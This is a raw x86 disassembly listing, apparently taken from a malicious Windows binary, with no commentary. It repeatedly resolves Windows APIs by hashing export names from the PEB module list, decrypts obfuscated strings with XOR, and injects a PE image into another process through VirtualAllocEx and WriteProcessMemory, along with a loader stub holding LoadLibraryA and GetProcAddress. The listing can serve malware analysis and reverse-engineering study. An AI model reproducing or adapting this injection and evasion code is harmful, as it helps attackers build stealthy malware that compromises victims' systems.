mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4379f0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x411fa967
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4379e3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4379c2
cmp esi, 0x72b4f258
je 0x4379f7
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4379a3
mov eax, dword [eax]
jmp 0x437970
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437ab3
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437ab3
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xbf883e83
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437aa6
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x437a85
cmp esi, 0x10fff557
je 0x437aba
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x437a66
mov eax, dword [eax]
jmp 0x437a33
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x25c], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x258], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0x260]
xorps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x260]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x260], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x250]
push eax
movaps xmmword [ebp - 0x250], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437d10
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437d10
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x64444db6
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437d03
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x437ce2
cmp esi, 0xb0964259
je 0x437d17
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x437cc3
mov eax, dword [eax]
jmp 0x437c90
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x144], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x140], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437de3
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437de3
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x88ac5524
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437dd6
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x437db5
cmp esi, 0x2976c0bd
je 0x437dea
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x437d96
mov eax, dword [eax]
jmp 0x437d63
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x144], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x437e13
lea eax, [ebp - 0x144]
jmp 0x43a282
mov eax, dword [ebp - 0x9c]
xor ecx, ecx
xor edi, edi
cmp cx, word [eax + 6]
jae 0x437eb0
lea esi, [eax + 0x10c]
mov eax, dword [esi]
add eax, dword [ebp - 0xd8]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0xac]
push eax
push dword [ebp - 0xd4]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x9c]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jb 0x437e74
mov esi, dword [ebp - 0xd4]
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xa4], eax
test eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jne 0x438560
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437f60
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437f60
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xca3267f3
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437f53
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x437f32
cmp esi, 0x6e49570b
je 0x437f67
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x437f13
mov eax, dword [eax]
jmp 0x437ee0
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 1
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x438020
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x438020
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x49c9cfb1
mov cl, byte [edx]
inc edx
test cl, cl
je 0x438013
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x437ff2
cmp esi, 0x39d590db
je 0x438027
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x437fd3
mov eax, dword [eax]
jmp 0x437fa0
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xac]
push dword [ebp - 0xd4]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4380f0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4380f0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xc8456c62
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4380e3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4380c2
cmp esi, 0x1c3555a7
je 0x4380f7
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4380a3
mov eax, dword [eax]
jmp 0x438070
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4381b3
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4381b3
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x5b70efa0
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4381a6
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x438185
cmp esi, 0x756c91ea
je 0x4381ba
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438166
mov eax, dword [eax]
jmp 0x438133
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x280], ecx
mov dword [ebp - 0x27c], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x274], eax
mov dword [ebp - 0x278], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x280]
movaps xmmword [ebp - 0x280], xmm1
movaps xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x280]
mov dword [ebp - 0xb4], ecx
xorps xmm1, xmmword [ebp - 0xc0]
push eax
movaps xmmword [ebp - 0x270], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x438410
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x438410
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x3adcbfa9
mov cl, byte [edx]
inc edx
test cl, cl
je 0x438403
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4383e2
cmp esi, 0x1f6a2f8c
je 0x438417
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4383c3
mov eax, dword [eax]
jmp 0x438390
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x14c], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x148], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4384e3
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4384e3
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x78b67576
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4384d6
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4384b5
cmp esi, 0x4ddfbeb7
je 0x4384ea
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438496
mov eax, dword [eax]
jmp 0x438463
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x14c], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x438513
lea eax, [ebp - 0x14c]
jmp 0x43a282
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4385e0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4385e0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x406f1dd6
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4385d3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4385b2
cmp esi, 0xfbfdb851
je 0x4385e7
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438593
mov eax, dword [eax]
jmp 0x438560
mov eax, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x18
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x90]
add eax, edx
push ecx
call eax
mov edx, dword [ebp - 0xac]
add esp, 0xc
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x90], edx
push 0
mov eax, dword [eax + 0x3c]
add eax, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ecx + 0xa0]
add eax, edx
mov dword [ebp - 0x88], eax
mov eax, dword [ecx + 0x80]
add eax, edx
mov dword [ebp - 0x84], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x80], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x18
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0xa4]
push dword [ebp - 0xd4]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x438d1a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x438720
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x438720
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x5d92db69
mov cl, byte [edx]
inc edx
test cl, cl
je 0x438713
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4386f2
cmp esi, 0xe377c62d
je 0x438727
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4386d3
mov eax, dword [eax]
jmp 0x4386a0
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 1
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4387e0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4387e0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xd125b315
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4387d3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4387b2
cmp esi, 0x13735e87
je 0x4387e7
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438793
mov eax, dword [eax]
jmp 0x438760
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xac]
push dword [ebp - 0xd4]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4388b0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4388b0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x43c48964
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4388a3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x438882
cmp esi, 0xbf16fe45
je 0x4388b7
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438863
mov eax, dword [eax]
jmp 0x438830
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x438973
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x438973
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xc71d1310
mov cl, byte [edx]
inc edx
test cl, cl
je 0x438966
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x438945
cmp esi, 0x10ac385a
je 0x43897a
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438926
mov eax, dword [eax]
jmp 0x4388f3
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x2a0], ecx
mov dword [ebp - 0x29c], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x298], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0x2a0]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x2a0], xmm1
